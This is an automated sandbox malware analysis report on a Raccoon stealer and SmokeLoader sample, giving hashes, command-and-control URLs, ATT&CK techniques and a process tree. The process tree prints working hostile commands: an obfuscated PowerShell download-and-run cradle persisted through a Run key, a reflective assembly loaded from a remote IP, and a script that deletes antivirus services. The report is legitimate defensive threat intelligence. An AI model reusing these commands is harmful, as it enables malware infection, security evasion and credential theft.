raccoon | 512de97a605158b2b306c071919c57ef39553385a38b4ac9b31225ecea2a4951

Analysis

max time kernel
150s
max time network
154s
platform
windows10_x64
resource
win10v20210408
submitted
13-08-2021 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a88078dd2e22e3e84ae29f796063edd8.exe
Size

311KB
MD5

a88078dd2e22e3e84ae29f796063edd8
SHA1

3c897f60a1cc352a773aaee3179f4667dd537aa8
SHA256

512de97a605158b2b306c071919c57ef39553385a38b4ac9b31225ecea2a4951
SHA512

541bd5335a534ca38e9f038964c688f2a4c55672ac5e86e1b0ba7afe9feda33d68d522db8670699e4b362f63ea8b17eef31e95b92539b11383c4d0c86f2d72aa

Score

10^/10

raccoon smokeloader 471c70de3b4f9e4d493e418d1f60a90659057de0 cd8dc1031358b1aec55cc6bc447df1018b068607 backdoor evasion persistence phishing spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.56.146.55/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes

url4cnc
https://telete.in/jagressor_kz

rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes

url4cnc
https://telete.in/p1rosto100xx

rc4.plain

Signatures

Detected phishing page
phishing
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1008-143-0x0000000004910000-0x00000000049A1000-memory.dmp	family_raccoon
behavioral2/memory/1008-147-0x0000000000400000-0x0000000002CA9000-memory.dmp	family_raccoon
behavioral2/memory/2140-198-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon
behavioral2/memory/2140-199-0x000000000044003F-mapping.dmp	family_raccoon
behavioral2/memory/2140-201-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 188 created 1008 188 WerFault.exe 1CA.exe
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1654 4168 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

F310.exeF718.exeF97B.exeFB7F.exe1CA.exeRuntimebroker.exeFB7F.exe

pid process

188 F310.exe
2728 F718.exe
940 F97B.exe
764 FB7F.exe
1008 1CA.exe
2084 Runtimebroker.exe
2140 FB7F.exe
Deletes itself 1 IoCs

Processes:

pid process

3092

description	pid	process	target process
PID 188 created 1008	188	WerFault.exe	1CA.exe

flow	pid	process
1654	4168	powershell.exe

pid	process
188	F310.exe
2728	F718.exe
940	F97B.exe
764	FB7F.exe
1008	1CA.exe
2084	Runtimebroker.exe
2140	FB7F.exe

pid	process
3092

Drops startup file 3 IoCs

Processes:

Runtimebroker.execmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk	Runtimebroker.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe

Loads dropped DLL 1 IoCs

Processes:

FB7F.exe

pid process

2140 FB7F.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2140	FB7F.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sound device = "Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile(('http://193.56.146.55/Ru'+'nti'+'m'+'ebr'+'oke'+'r.exe'),($env:TEMP+'\\Vp'+'nm.e'+'xe'));Start-Process ($env:TEMP+'\\V'+'pn'+'m.exe')"	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

a88078dd2e22e3e84ae29f796063edd8.exeFB7F.exe

description	pid	process	target process
PID 656 set thread context of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 764 set thread context of 2140	764	FB7F.exe	FB7F.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2256	2728	WerFault.exe	F718.exe
3156	2728	WerFault.exe	F718.exe
3184	2728	WerFault.exe	F718.exe
1760	1008	WerFault.exe	1CA.exe
656	2728	WerFault.exe	F718.exe
3028	1008	WerFault.exe	1CA.exe
3588	2728	WerFault.exe	F718.exe
1988	2728	WerFault.exe	F718.exe
4044	1008	WerFault.exe	1CA.exe
2124	1008	WerFault.exe	1CA.exe
188	1008	WerFault.exe	1CA.exe
1236	2084	WerFault.exe	Runtimebroker.exe
688	2084	WerFault.exe	Runtimebroker.exe
344	2084	WerFault.exe	Runtimebroker.exe
3192	2084	WerFault.exe	Runtimebroker.exe
904	2084	WerFault.exe	Runtimebroker.exe
3660	2084	WerFault.exe	Runtimebroker.exe
4552	2140	WerFault.exe	FB7F.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

a88078dd2e22e3e84ae29f796063edd8.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a88078dd2e22e3e84ae29f796063edd8.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a88078dd2e22e3e84ae29f796063edd8.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a88078dd2e22e3e84ae29f796063edd8.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

a88078dd2e22e3e84ae29f796063edd8.exe

pid	process
3108	a88078dd2e22e3e84ae29f796063edd8.exe
3108	a88078dd2e22e3e84ae29f796063edd8.exe
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3092
Suspicious behavior: MapViewOfSection 19 IoCs

Processes:

a88078dd2e22e3e84ae29f796063edd8.exe

pid process

3108 a88078dd2e22e3e84ae29f796063edd8.exe
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092
3092

pid	process
3092

Suspicious use of AdjustPrivilegeToken 44 IoCs

Processes:

description	pid	process
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeRestorePrivilege	2256	WerFault.exe
Token: SeBackupPrivilege	2256	WerFault.exe
Token: SeDebugPrivilege	2256	WerFault.exe
Token: SeDebugPrivilege	3156	WerFault.exe
Token: SeDebugPrivilege	3184	WerFault.exe
Token: SeDebugPrivilege	1760	WerFault.exe
Token: SeDebugPrivilege	656	WerFault.exe
Token: SeDebugPrivilege	3028	WerFault.exe
Token: SeDebugPrivilege	3588	WerFault.exe
Token: SeDebugPrivilege	1988	WerFault.exe
Token: SeDebugPrivilege	4044	WerFault.exe
Token: SeDebugPrivilege	2124	WerFault.exe
Token: SeDebugPrivilege	188	WerFault.exe
Token: SeDebugPrivilege	1236	WerFault.exe
Token: SeDebugPrivilege	688	WerFault.exe
Token: SeDebugPrivilege	344	WerFault.exe
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeDebugPrivilege	3192	WerFault.exe
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeDebugPrivilege	904	WerFault.exe
Token: SeDebugPrivilege	3660	WerFault.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	764	FB7F.exe
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeDebugPrivilege	4552	WerFault.exe
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092
Token: SeShutdownPrivilege	3092
Token: SeCreatePagefilePrivilege	3092

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

F310.exe

pid process

188 F310.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3092

pid	process
188	F310.exe

pid	process
3092

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a88078dd2e22e3e84ae29f796063edd8.exeF718.exeF97B.exeRuntimebroker.exeFB7F.exe

description	pid	process	target process
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 656 wrote to memory of 3108	656	a88078dd2e22e3e84ae29f796063edd8.exe	a88078dd2e22e3e84ae29f796063edd8.exe
PID 3092 wrote to memory of 188	3092		F310.exe
PID 3092 wrote to memory of 188	3092		F310.exe
PID 3092 wrote to memory of 188	3092		F310.exe
PID 3092 wrote to memory of 2728	3092		F718.exe
PID 3092 wrote to memory of 2728	3092		F718.exe
PID 3092 wrote to memory of 2728	3092		F718.exe
PID 3092 wrote to memory of 940	3092		F97B.exe
PID 3092 wrote to memory of 940	3092		F97B.exe
PID 3092 wrote to memory of 940	3092		F97B.exe
PID 3092 wrote to memory of 764	3092		FB7F.exe
PID 3092 wrote to memory of 764	3092		FB7F.exe
PID 3092 wrote to memory of 764	3092		FB7F.exe
PID 3092 wrote to memory of 1008	3092		1CA.exe
PID 3092 wrote to memory of 1008	3092		1CA.exe
PID 3092 wrote to memory of 1008	3092		1CA.exe
PID 3092 wrote to memory of 1156	3092		explorer.exe
PID 3092 wrote to memory of 1156	3092		explorer.exe
PID 3092 wrote to memory of 1156	3092		explorer.exe
PID 3092 wrote to memory of 1156	3092		explorer.exe
PID 3092 wrote to memory of 1812	3092		explorer.exe
PID 3092 wrote to memory of 1812	3092		explorer.exe
PID 3092 wrote to memory of 1812	3092		explorer.exe
PID 3092 wrote to memory of 2028	3092		explorer.exe
PID 3092 wrote to memory of 2028	3092		explorer.exe
PID 3092 wrote to memory of 2028	3092		explorer.exe
PID 3092 wrote to memory of 2028	3092		explorer.exe
PID 2728 wrote to memory of 2084	2728	F718.exe	Runtimebroker.exe
PID 2728 wrote to memory of 2084	2728	F718.exe	Runtimebroker.exe
PID 2728 wrote to memory of 2084	2728	F718.exe	Runtimebroker.exe
PID 3092 wrote to memory of 192	3092		explorer.exe
PID 3092 wrote to memory of 192	3092		explorer.exe
PID 3092 wrote to memory of 192	3092		explorer.exe
PID 3092 wrote to memory of 1276	3092		explorer.exe
PID 3092 wrote to memory of 1276	3092		explorer.exe
PID 3092 wrote to memory of 1276	3092		explorer.exe
PID 3092 wrote to memory of 1276	3092		explorer.exe
PID 3092 wrote to memory of 1608	3092		explorer.exe
PID 3092 wrote to memory of 1608	3092		explorer.exe
PID 3092 wrote to memory of 1608	3092		explorer.exe
PID 940 wrote to memory of 2500	940	F97B.exe	cmd.exe
PID 940 wrote to memory of 2500	940	F97B.exe	cmd.exe
PID 940 wrote to memory of 2500	940	F97B.exe	cmd.exe
PID 3092 wrote to memory of 1112	3092		explorer.exe
PID 3092 wrote to memory of 1112	3092		explorer.exe
PID 3092 wrote to memory of 1112	3092		explorer.exe
PID 3092 wrote to memory of 1112	3092		explorer.exe
PID 3092 wrote to memory of 2168	3092		explorer.exe
PID 3092 wrote to memory of 2168	3092		explorer.exe
PID 3092 wrote to memory of 2168	3092		explorer.exe
PID 3092 wrote to memory of 2476	3092		explorer.exe
PID 3092 wrote to memory of 2476	3092		explorer.exe
PID 3092 wrote to memory of 2476	3092		explorer.exe
PID 3092 wrote to memory of 2476	3092		explorer.exe
PID 2084 wrote to memory of 1764	2084	Runtimebroker.exe	powershell.exe
PID 2084 wrote to memory of 1764	2084	Runtimebroker.exe	powershell.exe
PID 2084 wrote to memory of 1764	2084	Runtimebroker.exe	powershell.exe
PID 764 wrote to memory of 2140	764	FB7F.exe	FB7F.exe
PID 764 wrote to memory of 2140	764	FB7F.exe	FB7F.exe

C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe
"C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:656

C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe
"C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3108

C:\Users\Admin\AppData\Local\Temp\F310.exe
C:\Users\Admin\AppData\Local\Temp\F310.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:188

C:\Users\Admin\AppData\Local\Temp\F718.exe
C:\Users\Admin\AppData\Local\Temp\F718.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 792
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 828
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 928
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 808
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 824
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 912
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\ProgramData\Runtimebroker.exe
"C:\ProgramData\Runtimebroker.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 736
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 788
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 768
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 800
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 980
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 1044
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3660

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://193.56.146.55/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:4168

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4384

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f 